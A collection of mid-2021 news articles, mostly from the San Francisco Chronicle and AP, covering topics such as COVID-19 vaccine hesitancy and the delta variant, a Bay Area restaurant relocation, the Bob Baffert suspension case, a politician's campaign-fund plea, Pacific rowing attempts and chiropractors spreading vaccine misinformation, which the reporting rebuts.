Moore, who co-owns the Kebabery with Allison Hopelain and Brian Crookes, said the team loved the restaurants Longfellow neighborhood but simply outgrew the space.

We cant be open for lunch and dinner because theres nowhere to prep, he said. We do a lot of catering but theres no room to prep for catering.

Camino was a groundbreaking restaurant when it opened in 2008, with Moore, a 20-year Chez Panisse veteran, tending to live fire for a daily changing menu. It became one of the most celebrated establishments in the East Bay, but Moore and Hopelain got burnt out. The vision for the Kebabery, which opened in 2017, was in part so the couple could run a smaller, easier restaurant.

The Kebabery. 5-8 p.m. Thursday-Sunday. Closing Sunday at 4201 Market St., Oakland. Opening soon at 2929 Shattuck Ave. Berkeley. www.thekebabery.net

Janelle Bitker is a San Francisco Chronicle staff writer. Email: janelle.bitker@sfchronicle.com Twitter: @janellebitker
About 24% of unvaccinated young adults between the ages of 18 and 25 say theyre not ready to get a COVID-19 shot, mostly over concerns about the vaccines safety, according to a new study published by UCSF health researchers.

The research, published in the Journal of Adolescent Health, reviewed surveys of more than 5,000 young adults to understand why some have put off getting a COVID shot, despite their widespread availability and data backing their safety and efficacy.

As of the end of June, U.S. adults between the ages of 18 and 29 had the highest cumulative COVID-19 infection rates in the nation, according to the Centers for Disease Control and Prevention. Vaccine hesitancy among that age group could impede the countrys ability to reach herd immunity, the researchers wrote, making targeted public health interventions addressing young adult hesitations ... an important public health priority.

Most unvaccinated young adults  76% of those involved in the study  said they intended to get vaccinated. The remaining 24% who said they were considering rejecting a vaccine said they were concerned about the vaccines safety and side effects or believed others were in greater need of a vaccine.

Researchers said there were significant differences in reasons for not getting vaccinated between the group who said they probably will get vaccinated versus those who probably/definitely will not.

Those who said they probably/definitely will not get the vaccine cited that they do not trust COVID-19 vaccines.

In follow-up query of reasons for endorsing they did not believe they needed the vaccine, the two most frequently endorsed reasons were I am not a member of a high-risk group and I do not believe COVID-19 is a serious illness, researchers wrote.

Scientists called for more public education around vaccines for young adults by using social media, among other methods, to reduce hesitancy among youth and young adults.

Public health initiatives need to adapt rapidly as vaccine intentions and availability change, researchers wrote. Continued monitoring of vaccine intention, motivations, and barriers to access ... can contribute to improved messaging and targeted outreach to increase young adult COVID-19 vaccination.

Jessica Flores is a San Francisco Chronicle staff writer. Email: jessica.flores@sfchronicle.com. Twitter: @jesssmflores
The highly transmissible delta variant has prompted Yolo County to urge residents to wear masks indoors again.

I am erring on the side of caution to slow the spread of the highly infectious delta variant, said Dr. Aimee Sisson, the health officer for the county, in a press release on Wednesday.

Sisson strongly recommended that fully vaccinated people, along with those who are 65 and older or immunocompromised, wear masks in indoor public areas as a precautionary measure, according to the press release.

Yolo County is located northeast of the Bay Area in the Sacramento Valley. Los Angeles is the only other county in California to recommend vaccinated people wear masks; it made those recommendations at the end of June.

State officials have said that fully vaccinated people can go maskless in most public areas. Unvaccinated people are still required to wear their masks in indoor public settings in California, but that is mostly under the honor system.

Yolo County has seen 59 delta variant cases sequenced by the UC Davis Genome Center since mid-April; the variant made up 76% of positive samples collected from June 27 to July 7. The state coronavirus dashboard from the California Department of Public Health shows Yolo County has a positive test rate of 1.2% as of July 11, and a 7-day average of 3.9 cases per 100,000. The dashboard notes that the data is pending and may be incomplete for recent dates.

Sisson urged those who are not vaccinated but eligible to get the vaccine. Still, we know that our vaccines, while highly effective, arent perfect, she said in the release. Putting on a mask indoors in settings where you cant be sure that everyone who is unmasked is fully vaccinated is a simple way to add another layer of protection against COVID-19.

Coronavirus cases have been increasing throughout California and the country in recent weeks as the delta variant has become the dominant strain and the state fully reopened. California saw its 7-day positive test rate rise from 1.7% on July 6 to 2.7% on Tuesday.

Kellie Hwang is a San Francisco Chronicle staff writer. Email: kellie.hwang@sfchronicle.com Twitter: @kelliehwang
With nearly half of California residents still not fully immunized against COVID-19 and the highly infectious delta variant in wide circulation, the state could be facing a surge up to two-thirds the size of last summers wave of infection despite generally high vaccination rates, health officials said Tuesday.

If such a surge materializes, it almost certainly will be far less deadly and disruptive than what the state endured over the winter, when more than 22,000 Californians died between Thanksgiving and the end of January and the state was largely shut down for several months.

People who are not vaccinated are bearing the vast majority of disease burden, making up over 99% of hospitalizations and deaths, state officials said, and that trend is expected to continue.

New cases have climbed slightly among the vaccinated over the past few weeks, and are now hovering just under 1 case a day per 100,000 vaccinated people. But theyve spiked among those who are not vaccinated, from a low of roughly 3 cases a day per 100,000 unvaccinated people a month ago to about 5 cases per 100,000 currently.

We need to really move the dial on vaccinations. Thats still our way out of this pandemic, said Dr. Erica Pan, the state epidemiologist, during a panel Tuesday hosted by the California Medical Association.

All metrics of the pandemic  including cases, hospitalizations, intensive care admissions and deaths  hit unprecedented lows just before the state reopened June 15, Pan noted. So we have a lot of runway to contain the spread now, even as transmission increases statewide, she said.

But the states reopening coincided with the introduction of the delta variant in California, which is leading to a faster than expected upswing in cases. Fourth of July gatherings likely contributed to the rapid increase. Do we think it will be as devastating as last winter? That seems extremely unlikely, Pan said. But we could see a half to two-thirds of what we were seeing last summer.

California is averaging roughly 2,000 cases a day  more than double the caseload from early June. Cases peaked at about 9,600 a day during last summers surge. Hospitalizations have increased about 78% over the past month, to just under 1,600 as of Monday. At the summer peak about 7,000 people were hospitalized.

Santiago Mejia/The Chronicle

Los Angeles County has reported especially troubling spikes recently, including five consecutive days with more than 1,000 cases. The county hasnt been consistently over 1,000 cases a day since early March.

San Francisco reported 153 new cases on Tuesday alone, according to Chronicle data tracking, though city officials said that number did not represent the actual total for the day and likely included backdated cases. The city reported about 30 cases a day last week, nearly double the week before.

Several Bay Area counties have seen cases double over the past week or two.

The numbers out of L.A. are sobering. But the numbers in the Bay Area, especially when we look at counties that have the lower vaccination rates, are sobering too, said Dr. Kirsten Bibbins-Domingo, vice dean for population health and health equity at UCSF. Its hard not to get completely demoralized by it. Were really just a month out from the full reopening.

Dr. Nicholas Moss, the Alameda County health officer, said hed expected cases to increase after the state reopened, but not this quickly. My largest concern is that its going to get worse before it gets better, he said. We havent peaked yet with this summer wave. But my hope is that we dont see as much impact of severe illness because of vaccination.

The climbing cases are triggering renewed urgency to increase the pace of vaccination statewide, especially among younger people who have lower rates than older adults and have generally driven the spread of disease in previous surges. About 80% of adults 50 and older are at least partly vaccinated statewide, compared with only 66% of adults 18 to 49, and just 43% of teens age 12 to 17.

Generally, Black and Latino Californians also have lower vaccination rates, compared to white and Asian residents.

Coaxing people who havent yet been vaccinated to get shots now takes more time, effort and patience, public health officials have said. But theyre running out of time to protect those individuals as the delta variant leads to much faster and easier spread of disease.

The vaccination game right now is slow, but people are still getting vaccinated every day, Bibbins-Domingo said. Right now, the urgency of the high cases were seeing makes us think through what else is at our disposal.

Pan and other officials have said that they want to avoid returning to stringent public health restrictions, including another universal mask mandate. Currently people who are not vaccinated are required to wear masks indoors, but the rule is not often enforced.

The state announced this week that it would require masks for all K-12 students, even those who are vaccinated, when they return to class. The decision was made partly in light of the increasing case counts and the delta variant gaining a foothold.

Certainly in levels of high community transmission, it makes sense to have more universal masking, Pan said, though she stopped short of suggesting another statewide mandate was on the horizon. If youre in a high-risk setting, its the safest thing to mask. And its pretty easy to do. Its one of the most effective and least disruptive tools we have.

Erin Allday is a San Francisco Chronicle staff writer. Email: eallday@sfchronicle.com Twitter: @erinallday
NEW YORK (AP)  A New York judge was sympathetic Monday to horse trainer Bob Bafferts claims that his May suspension by the New York Racing Association  after Kentucky Derby winner Medina Spirit failed a postrace drug test  was unconstitutional.

U.S. District Judge Carol Bagley Amon at a Brooklyn hearing repeatedly pressed a lawyer for the racing association to explain why the suspension was issued before Baffert was given a chance to defend himself.

Henry Greenberg, arguing on behalf of the racing association, said Baffert will get a hearing after the association announces the length of his suspension by Aug. 11.

Isn't that a little too late?" the judge asked, noting that the duration will be announced months after he was suspended. The problem I have, counsel, is that he was suspended and it's up in the air.

She said the racing association attacked his credibility as it issued the suspension, but never gave him the chance to speak on his own behalf about what happened.

How does that comply with due process? the judge asked.

At another point, Amon said: You just sent him a letter saying, 'You're out,' with no due process whatsoever.

Greenberg repeatedly said the NYRA, which operates Belmont Park, Aqueduct and Saratoga Race Course, took the action to protect the integrity of the sport.

He said the association had to act fast because the Belmont Stakes, the third prong of horse racing's Triple Crown, was fast approaching in early June.

The lawyer noted that the Kentucky Derby test was the fifth time in the past year that a horse trained by Baffert tested positive for drugs.

Rarely in the history of the sport has there been such a confluence of drug positives involving so prominent a trainer, association lawyers wrote in court papers.

In Baffert's lawsuit last month seeking to get the suspension lifted, the Hall of Famer contended he was suspended without any prior notice and was not told the duration or terms of the suspension or any New York state law or regulation he might have violated.

After hearing arguments from both sides, Amon did not immediately rule.

Arguing on Baffert's behalf, attorney W. Craig Robertson III said it was unfair of the racing association to suspend his client without the completion of an investigation into the circumstances surrounding what he called the alleged test on Medina Spirit.

Robertson said it was possible that traces of betamethasone were found in the horse's system as a result of an ointment applied to the horse to treat a skin rash three weeks before the race. The unregulated ointment, he said, contained betamethasone.

Churchill Downs suspended Baffert for two years after an additional drug test of Medina Spirit confirmed betamethasone in the horses system. Baffert cannot enter any horses in the Kentucky Derby or other races at the storied Louisville track through the spring of 2023.

Robertson contended that the New York suspension would be the death knell to Baffert's training business because New York's Saratoga Race Course, which reopens Thursday, is a pivotal stop for a young horse destined for greatness.

He said a top horse farm in Kentucky had already taken two prize horses from Baffert's care and another producer of elite horses was considering finding another trainer if Baffert cannot enter horses in New York races.

Outside court, Baffert and his lawyers declined comment after the hearing.
A longtime Contra Costa County politician faces a year in jail for misusing hundreds of thousands of dollars in campaign funds.

Joe Canciamilla, a former county clerk-recorder, county supervisor and state legislator from Pittsburg, pleaded guilty Monday to nine counts of perjury and grand theft, according to the Contra Costa County District Attorneys Office.

As part of his guilty plea, Canciamilla was sentenced to 365 days in county jail and two years of formal probation, though his lawyer said he has applied to serve his jail time on electronic home confinement instead. Due to his felony conviction, Canciamilla also must surrender his law license and loses his ability to hold public office.

Prosecutors charged Canciamilla last year with 30 felony counts of perjury for alleged misstatements on campaign disclosure forms and four additional counts related to his alleged personal use of more than $260,000 in campaign funds.

Mike Rains, a lawyer for Canciamilla, said it was unnecessary and unfair to prosecute him over mistakes for which he already made amends. Canciamilla agreed to pay a $150,000 fine to Californias campaign ethics watchdog in 2019, a settlement that became public days after he resigned abruptly as county clerk-recorder.

But Rains said Canciamilla ultimately agreed to the plea deal to spare himself further humiliation and move on to enjoy his retirement.

Why was any more pain and embarrassment necessary when he already paid this restitution? Rains said. He just does not need to be spending thousands and thousands of dollars litigating this case at this point of his life, living on a fixed income.

Canciamilla, 66, is the second Contra Costa County official in the past four years to be embroiled in a scandal involving improper campaign spending. In June 2017, then-District Attorney Mark Peterson was charged with 13 felonies over his use of $66,000 in campaign funds for personal expenses. He pleaded no contest to perjury and resigned as part of a deal with the state attorney generals office.

Deputy District Attorney Steve Bolen, who prosecuted the Canciamilla case, said that history made it important for his office to bring charges.

We just wanted to make sure, in our disposition of the case, that it was taken very seriously and an appropriate sentence was handed down by the court, Bolen said.

Canciamilla was the youngest public official in state history when he was elected to the Pittsburg school board at age 17. He later served on the Pittsburg City Council and Contra Costa County Board of Supervisors before winning the first of three terms in the state Assembly as a Democrat in 2000.

He opened a campaign account for a county judge seat in 2011 but ultimately did not run. He was appointed clerk-recorder in 2013 and won election to the office twice.

An investigation by the enforcement division of the Fair Political Practices Commission, which formed the basis for the criminal charges, concluded that Canciamilla repeatedly mixed campaign contributions from those accounts with his personal funds.

In 2011, he transferred $70,000 from his judicial race committee to a personal checking account, according to investigators, which he then tapped to open a money-market account for the committee. The probe found that he used those earnings to pay for restaurants, airfare, a $36,000 vacation to Asia and credit-card charges related to the remodel of a home he owned in Hawaii. He excluded these payments from required campaign filings and regularly overstated his cash on hand to conceal the improper spending.

Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff
San Franciscans love griping about their city and arguing with one another about it. Verbally brawling over our biggest crises seems to have become the official city pastime.

Were sparring over public schools, homelessness, overdoses, crime, transit, whether to keep a few streets closed to cars  even the merits of Ferris wheels. Too many city residents think their opinions reign supreme, and anybody who dares disagree with them must be evil, an idiot or, worst of all, an evil idiot. Theres a lot of talk about our problems and far too little action.

But a new coalition of politicians, bureaucrats, business leaders, nonprofit leaders, artists and more has found one subject we can surely all agree on: Our streets and sidewalks are filthy and smelly, and too many of our public spaces are ugly and uninspiring. Our geographically stunning city, with all its natural beauty, has frayed like a once-lovely home thats fallen into disrepair.

The coalition called Shine On SF aims to fix this  and to instill civic pride into our city of complainers.

Some of the coalitions changes are concrete, such as improving the way reports of trash and graffiti to the 311 call center are handled, hastening the push for better city trash cans and launching a website at www.shineonsf.org for regular people to volunteer for city cleanups and other events.

Stephen Lam/The Chronicle

Some of the changes are of a more whimsical, feel-good nature, like the coalitions pop-up installation of Golden Trees around the city. Passersby are urged to write an answer to the question, What makes San Francisco shine? on a gold-colored card and hang it from trees in colorful planter boxes reading Shine On SF. At the end of the summer, the cards will be combined into a large art installation, though details on that havent been decided.

I can think of plenty of ways San Francisco shines, despite what the haters say. Its drop-dead gorgeous. Its weather is cool and temperate as the rest of the state bakes. Seventy-five percent of San Franciscans over 12 are fully vaccinated, among the highest rates in the world.

The Giants are the best team in baseball. The dahlias in Golden Gate Park are blooming, and the carousel is spinning once more. Even the cable cars are running again  its just for practice after 16 months of hibernation, but everybody can get free rides on the Powell-Hyde line during August.

I rode with longtime gripman Val Lupiz on Monday, his first day back on the route for recertification training. Asked how it felt, he clutched his heart and grew emotional.

Its very, very, very nice, he said as we approached Aquatic Park and chilly people lined up for hot Irish coffees at the Buena Vista Cafe.

See, its not all bad here. Far from it.

The idea for Shine On SF came during a summer 2019 meeting between Howard Wollner, a retired senior vice president of Starbucks who splits his time between Healdsburg and San Francisco, and Jennifer Kiss, a partner at Platypus Advisors and philanthropy strategist whos lived in the city since 1995.

Theres a lack of civic pride among residents and the workforce of this city, Wollner said. Its troubling, because San Francisco is such an iconic city and people have a deep love for it, and yet theres a feeling of frustration and a lack of focus.

The two thought a public-private partnership including everyday San Franciscans could make a difference in cleaning and beautifying the city as well as making people again feel proud of living here.

They recruited numerous people, groups and city agencies to participate, including leaders of the Hotel Council, San Francisco Arts Alliance, SF Travel, the Chamber of Commerce and the American Conservatory Theater.

They formed four working groups  cleaning, beautification, fundraising and communications  and created a nonprofit. Wollner contributed $125,000, and they brought on board Mayor London Breed, who included money in the city budget and will announce the endeavor in Union Square on Wednesday.

During COVID, weve shown what we can do when we come together to care for our city, Breed said in a statement. Shine On SF is city workers, large and small organizations and individual residents finding ways to work together and get involved in positive efforts to support the city we all love.

The new budget includes $96.2 million for cleaning and beautifying the city. The Clean Corridors program  in which Public Works crews deep-clean commercial corridors once a week  will continue. It was a pilot program during the pandemic, but will be expanded and made permanent.

Stephen Lam/The Chronicle

Those reporting graffiti and trash to 311 should see better results thanks to Shine On SF. Nancy Alfaro, director of 311, said an app Public Works crews use will now include cleaners with community benefit districts to eliminate redundancy. Before, the crews would often respond to a complaint to find CBD cleaners had already dealt with it.

This change will give Public Works crews more time to clean areas not covered by community benefit districts and to perform cleaning CBDs dont do, like removing bulky items and medical waste. Alfaro said the app will also encourage workers to take pictures of the newly cleaned site so those who complained can see proof their issue was resolved.

And, boy, are there are a lot of issues. Alfaro said the 311 call center received 346,880 requests for street cleanup and graffiti removal in the past fiscal year.

Public Works is using the Shine On SF campaign as a push to speed up its years-long process to decide on a new city trash can. The old, blocky cement ones are ugly and heavy, and the dark green, circular Renaissance cans are easily broken into, with trash strewn everywhere. The department has settled on three stainless steel prototypes it says are sturdier and more attractive and will install a few around the city in the coming months to test them.

A final winner will be chosen early next year, and eventually all city trash cans will be replaced.

Were completely committed to this, Public Works spokesperson Beth Rubenstein said. We need better trash cans.

Simon Bertrang, executive director of the Tenderloin Community Benefit District, said that whenever city residents learn what he does for a living, they lament the citys dire conditions and say, What can we do? We feel so helpless. Now hell have an answer thanks to Shine On SFs volunteer opportunities.

You can feel like part of a larger civic initiative rather than one lonely person trying to clean the sidewalk, he said.

Kiss, a native Australian, said she intended to stay in San Francisco just a short time when she moved here 26 years ago, but theres something about the city she cant quit. She said she thinks rallying around a common goal of cleaning and beautifying our city could make people feel engaged and connected again.

The city still makes my heart sing, she said. Sometimes its a little heartbreaking, but its mostly a heart-singing place.

San Francisco Chronicle columnist Heather Knight appears Sundays and Wednesdays. Email: hknight@sfchronicle.com Twitter: @hknightsf
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On the evening of June 22, amid calm seas and a light southerly wind, Erden Eruc slid his rowboat into the water off Crescent City, becoming the 19th person this summer to embark on a voyage from California across the Pacific Ocean.

Even for veterans of the rowing community and those who follow the sport closely, the number of people setting out from Northern California on ocean odysseys this year is hard to comprehend.

Prior to Eruc, three solo adventurers  a kayaker, a hydrofoiler and a rower  attempted the 2,400-mile crossing to Hawaii. Another rower set out for a whopping 7,400-mile journey to Australia. All four were driven by the prospect of a once-in-a-lifetime adventure.

Then there are the small rowboat crews powering their way to Honolulu this summer, many seeking speed records. Eleven people have participated in the Great Pacific Race, a team event that departed from San Francisco. So far, two teams have made the islands. A separate crew of four Brits that shoved off from Monterey arrived in Hawaii on Monday after 43 days at sea.

There are so many, even Ive lost track now, said Lia Ditton, of Point Richmond, who was one of only two soloists to successfully row from San Francisco to Hawaii last summer. I used to know all the rowers and boats by name, but I dont anymore.

This summer could signal that the worlds niche community of extreme rowers, long preoccupied with traversing the Atlantic, is shifting its gaze to Earths largest ocean, one of the last places where world-record firsts are still up for grabs.

Though wild, fearsome and unpredictable, the Pacific holds a certain appeal for both newcomers and salty stalwarts of ocean rowing.

Its still viewed as a new and exciting route, said Chris Martin, duty officer for the Great Pacific Race, who helps coordinate safety and logistics for the event. Its the less-rowed ocean in comparison to the Atlantic.

Of the 95 east-west, human-powered expeditions across the Pacific since 1971, 34 have occurred in the past five years, according to the Ocean Rowing Society, the sports record-keeper.

Rowers point to several reasons for the uptick.

Broadly, social media has magnified these kinds of exploits, giving greater exposure to individual adventurers and making extraordinary feats seem plainly accessible and achievable, even to amateurs. Case in point: Some of the recent solo attempts to Hawaii were undertaken by people with little or no solo ocean experience.

Martin is seeing the same phenomenon play out in the Great Pacific Race: sign-ups from people who have never handled an oar before, let alone crossed a smaller ocean.

We have people deciding to do the race because they tapped their birthday into Google and found the race was starting then and said, That sounds like something Id like to do, he said.

Tom Magarov/Associated Press

Geography has something to do with it, too, Martin said. The British and the French have traditionally been more inclined to tackle the Atlantic, and so as more Americans warm up to the sport, interest in the Pacific is peaking.

If youre from America, its easier to mentally process the concept of going from California to Hawaii, Martin said.

At the same time, a similar race across the Atlantic called the Talisker Whisky Atlantic Rowing Challenge, has come to draw more than 100 participants in recent years and is now oversubscribed. The spillover from that event is beginning to wash up in California, Martin says. His race, which typically hosts just a few rowing teams, has received so much interest for the 2023 event that coordinators plan to admit rowers by invitation only to keep the numbers manageable and guard against an influx of shaky newbies.

They have a misconception that the Pacific is kinder than the Atlantic  very false, Ditton said.

But the appeal remains.

The idea of arriving into Waikiki is something pretty much anyone on the planet can agree with, Martin said. Theyre literally rowing to a tropical paradise.

The coronavirus pandemic played a role in shaping this years crop of rowers and could send more of them into the ocean in the years ahead.

COVID-19 waylaid some 2020 bids. For example, Marin kayaker Cyril Derreumauxs plan to paddle to Hawaii ran aground last year when the pandemic shut down shipping and his boat was held up in the United Kingdom.

Paul Chinn/The Chronicle

For other rowers, the pandemics yearlong grip on society put life into perspective: The apocalypse is nigh, why not go for an adventure?

After the pandemic ruined his work schedule this year, Carlo Facchino of Fremont decided to shoot for Hawaii this summer but couldnt cobble together the requisite equipment in time. He hopes to launch next year.

People are realizing, Hey, I need to take advantage of opportunities when they become available, because its not a given that theyll present themselves again, Facchino said. Another driving factor was the death of his mother, he said. It really drove home that we have limited time on Earth.

Some wonder whether this literal sea change will cause American adventure brands and corporate sponsors to take notice. Ocean excursions in the United States dont inspire the enthusiasm found in the United Kingdom, where long-distance rowers can make a modest living from endorsements.

But that could change if more Americans enter the fray.

Ocean rowing is becoming more sport-like and less adventure-like, Ditton said.

Regardless of how many people set sail, the Pacific has a way of spitting people out.

All four soloists who set out this summer before Eruc  none of whom, notably, are American-born  have flamed out.

Australian rower Heather Taylor left Monterey for Hawaii in April but called in a rescue after 40 days battling seasickness and brutal winds that pushed her too far south.

Kayaker Derreumaux, originally of France, set out for Hawaii from Sausalito on May 30 but phoned the U.S. Coast Guard for a helicopter rescue after six rough days hunkering down in his cabin.

Courtesy Quin O'Hara

Half Moon Bay big-wave surfer Chris Bertish, originally from South Africa, had a similar idea to cross to Hawaii, but on a custom hydrofoil boat. He set sail June 8 out of Pillar Point Harbor but pulled out at Morro Bay after sustaining electronic failures.

Rower Jason Harrison set out from San Francisco Bay in June, hoping to row by himself to his home country of Australia. However, after several days mired in fog off the California coast and suffering damages to his boat, he returned to Monterey.

Though all four returned safely to California, rowers arent always so fortunate. An American Paralympian who set out from Los Angeles last summer drowned halfway to Honolulu. A Chinese rower who launched a crossing attempt in 2019 washed up dead in the Philippines last year.

Courtesy Erden Eruc

With the window on this years season closing, Eruc is the last solo rower afloat.

The 59-year-old Turkish-born adventurer has his sights set deep in the horizon: 7,000 miles to Hong Kong.

Its a massive undertaking for a man alone in a rowboat. But Eruc, who lives in Seattle and is considered the godfather of ocean rowing, pulled himself across the Pacific in similar fashion once before.

Back in 2007, he set out from Bodega Bay on course for Australia and dug his way there after 312 days at sea. It was the first leg of a mega-adventure in which Eruc circumnavigated the globe under his own power  by rowboat, sea kayak and bicycle. After five years, he capped off the journey by pedaling back into Bodega Bay on his bike and claiming a world record.

To get to Hong Kong, Eruc aims to pass north of Hawaii and trace the 20th parallel, eventually rowing between the Philippines and Taiwan on a voyage he expects to take several months.

Nothing can physically prepare a rower for 12 hours a day of activity, no matter how much workout we put in, Eruc said before his departure.

Before leaving Crescent City, he reflected on the heightened interest in his sport.

It may be that were just noticing more people now that we have the internet, he said.

Still, he senses that something about rowing has taken hold of the American imagination.

I wouldnt be surprised if there will be more such individuals rising up to take on the challenge, Eruc said. They go out to meet nature in its rawest terms. I think thats a worthwhile challenge that they accept. I wish there were more of us.

Gregory Thomas is The Chronicles editor of lifestyle & outdoors. Email: gthomas@sfchronicle.com. Twitter: @GregRThomas
The ISSSTE Housing Fund (Fovissste) and Scotiabank signed an agreement with the aim of granting loans co-financed through the  Fovissste for All  program.

The objective of this alliance is "to benefit more workers in the service of the State." According to the press release it is " the most competitive in the mortgage market in Mexico, granted in pesos and the Total Annual Cost (CAT) in its segment cheaper" financing.
Anyone who listened to the Idaho chiropractor Steven Bakers podcast in May would have heard a cornucopia of misinformation about the coronavirus and the vaccines protecting hundreds of millions of people against it.

In an episode titled Are the Vaccinated People Dangerous? (they arent), he claimed that scientists had never identified the whole virus (they have), that the vaccines turned people into modern-day zombies who spewed spike proteins in every breath and body fluid (they dont), and that vaccinated people could disrupt the menstrual cycles of women around them (they cant).

So, Baker said, he had a new policy: If any patients made what I would consider a horribly poor decision to go get this shot, he would not allow them inside his office for 30 days.

Baker, who did not respond to a request for comment, does not represent all chiropractors, many of whom support vaccinations. But he is among a vocal cadre who have promoted doubts about the coronavirus vaccines online and in their clinics and, in the process, exposed a long-standing split within the profession.

On one side are people like him, who dismiss the overwhelming medical consensus that the vaccines are effective and safe. These chiropractors closely follow the ideas espoused more than a century ago by the professions founder, Daniel David Palmer, who rejected germ theory and believed that diseases were caused by spinal misalignments called subluxations that disrupted an innate life force.

The chiropractic profession, which involves adjustment of the spine through manual manipulation and is sometimes just called chiropractic, emerged from this vitalistic, almost supernatural idea of healing, said Timothy Caulfield, the Canada research chair in health law and policy at the University of Alberta. Its difficult for them to escape their roots, and I think thats one of the reasons that so many people continue to be attracted to chiropractic who are more likely to be vaccination hesitant, and why so many chiropractic practitioners are in fact vaccination hesitant.

On the other side are chiropractors who have called on their peers to encourage vaccination as recommended by the Centers for Disease Control and Prevention and other medical authorities. In a 2013 paper in the Journal of the Canadian Chiropractic Association, for example, four chiropractors wrote that by recommending vaccines as clinically indicated, the chiropractic profession would promote the public good and, by doing so, would be in a better position to be embraced by the broader health care community.

That paper, said one of its authors, Brian Gleberzon, a professor at Canadian Memorial Chiropractic College, is still relevant.

As the Delta variant of the coronavirus spreads and the rate of new vaccinations slows, the conflict within the profession has become more consequential. The United States is administering about 530,000 doses per day on average  compared with a peak of more than 3 million in April  and while case numbers are low nationally, they are spiking in states like Missouri and Arkansas, where vaccination rates are lagging.

Many fields of alternative medicine are home to anti-vaccination sentiment, but chiropractic is one of the most popular of those fields, and its tensions are more in the open. More than 35 million Americans visit a chiropractor each year, according to the American Chiropractic Association. And even though chiropractors are not required to receive specialized training in infectious diseases  they must attend chiropractic school, not medical school  many patients look to them for medical advice.

Caulfields research has found that people who are attracted to alternative therapies like chiropractic are also the people who are likely to be susceptible to misinformation, he said. If youre open to alternative medicine, youre also more likely to be attracted to anti-vaccination rhetoric, so the ideas cluster.

Annette Bernat, a spokeswoman for the American Chiropractic Association, said the group encouraged members to follow CDC guidance on COVID-19 prevention and supported evidence-informed care and generally accepted best practices based on current, high-quality research, but had no stance on vaccines.

But several state organizations said it could be appropriate for chiropractors to weigh in on vaccinations or other medical issues outside their scope of practice.

The Arizona Association of Chiropractic  one of 11 reached for this article  said individual chiropractors were free to make their own decision with regard to the efficacy of vaccinations.

Speaking for himself and not on behalf of the organization, James Bogash, a board member, argued that vaccination should be an individual choice based on risk tolerance and said scientists could not yet know the vaccines long-term effects.

Bogash also expressed frustration that prior COVID infection is completely not part of the discussion, despite every evidence to support the fact that natural immunity is stronger and longer lasting than acquired immunity. (Research indicates that the vaccines are likely to create stronger and more reliable immunity, particularly against variants.)

Without mentioning vaccines, Dawn Benton, executive vice president of the California Chiropractic Association, said chiropractors were well trained in the recognition of conditions that are outside of our scope so that we can determine when a patient is best treated in our office or by another health care professional.

Given our training, she said, there are times when a doctor of chiropractic can appropriately comment on many medical topics, and we leave the decision on that up to each individual doctor of chiropractic and the regulations they practice under.

Only two of the 11 organizations reached  the Delaware Chiropractic Society and the Washington State Chiropractic Association  said directly that chiropractors should refer patients to medical doctors for questions on medical subjects.

Providing clinical advice on out-of-scope topics would violate numerous statutes and regulations governing health care licensees, said Jeff Curwen, executive director of the Washington association. Chiropractors can and should discuss with their patients how nonchiropractic treatments may affect their chiropractic care, but they should always refer those patients to the appropriate provider type for specific answers to out-of-scope questions.

Some practitioners, though, have shared inaccurate or unsourced information without prompting.

On his website, Greg Werner, a chiropractor in New York City and Westchester County, New York, claims there is no proof vaccines work and that germ theory doesnt exist because if it did EVERYONE would be sick ALL the time. (He declined an interview request.)

A New Jersey chiropractor, J. Zimmerman, has routinely cited figures on his blog from the Vaccine Adverse Event Reporting System  a federal database to which anyone can report health problems after vaccination  and suggested that vaccines caused the problems reported. He did not mention the CDCs disclaimer  A report to VAERS does not mean that the vaccine caused the adverse event, only that the adverse event occurred some time after vaccination  in his posts until after The New York Times emailed him questions about his use of VAERS.

Zimmerman did not answer those questions.

Sean B. Carroll, vice president for science education at the Howard Hughes Medical Institute and a professor of biology at the University of Maryland, wrote in Scientific American in November that the chiropractic arguments against vaccines reminded him of arguments against evolution.

He identified six tactics, the first five being doubt the science, question scientists motives and integrity, magnify disagreements among scientists and cite gadflies as authorities, exaggerate potential harm and appeal to personal freedom.

People challenged on one front, he said, typically shift to another. And if all else fails, he said, they turn to the sixth: Reject whatever would repudiate a key philosophy.

It is because of this pattern that pro-vaccine chiropractors voices are essential, Carroll said: Just as he cannot persuade creationists to accept evolution but clergy members sometimes can, chiropractors may be able to persuade their colleagues to accept vaccines where scientists cannot.

Outsiders are suspect, and theyre pretty much disregarded on the face of things, he said. Always the best way is that somebody from the in-group, or some group from the in-group, says, We think differently.

This article originally appeared in The New York Times.
CHARLESTON, W.Va. (AP)  West Virginia Attorney General Patrick Morrisey said he will oppose OxyContin maker Purdue Pharmas bankruptcy plan, arguing that his state, one of the hardest hit by the opioid epidemic, would get shorted in settlement money.

I remain vigorously opposed to a proposed allocation formula that would distribute settlement funds largely based on a state or local governments population  not intensity of the problem, Morrisey said Tuesday.

Purdues plan to reorganize into a new entity that helps combat the U.S. opioid epidemic got a big boost last week as 15 states that had previously opposed the new business model gave their support.

The agreement from multiple state attorneys general, including those who had most aggressively opposed Purdues original settlement proposal, was disclosed last Wednesday in a filing in U.S. Bankruptcy Court in White Plains, New York. It followed weeks of intense mediation that resulted in changes to Purdues original exit plan.

But nine states and the District of Columbia did not sign onto the proposal. Some criticize it for not demanding more from members of the wealthy Sackler family who own the company and have not accepted any blame.

Morrisey, a Republican, had previously said he opposed the proposal on separate grounds. He reiterated Tuesday that the allocation formula fails to recognize the disproportionate harm caused by opioids in our state.

In a statement emailed Tuesday, the Sackler family said, This resolution to the mediation is an important step toward providing substantial resources for people and communities in need. The Sackler family hopes these funds will help achieve that goal.

For years, West Virginia has had the nations highest fatal opioid overdose rate.

I look forward to arguing our case in court this August, Morrisey added. Following next month's hearing, a federal bankruptcy judge will decide whether to confirm the deal.

Purdue sought bankruptcy protection in 2019 as a way to settle about 3,000 lawsuits it faced from state and local governments and other entities. They claimed the companys continued marketing of its powerful prescription painkiller contributed to a crisis that has been linked to nearly 500,000 deaths in the U.S. over the last two decades.
Karen Haberberg/AP

NEW YORK (AP)  Jordan Pavlin, the publisher of such young and acclaimed authors as Tommy Orange, Ayana Mathis and Yaa Gyasi, has been promoted to editor in chief of Alfred A. Knopf, among the book world's most prestigious jobs.

Her ability to identify the potential of a writer to deliver a transcendent work is nothing short of remarkable, Knopf publisher and executive vice president Reagan Arthur announced Wednesday.
NEW YORK (AP)  A pair of modern-day hikers step out of the woods and into a town where they are greeted by something strange: Suspiciously friendly residents who burst into a high-kicking, knee-slapping group welcome song.

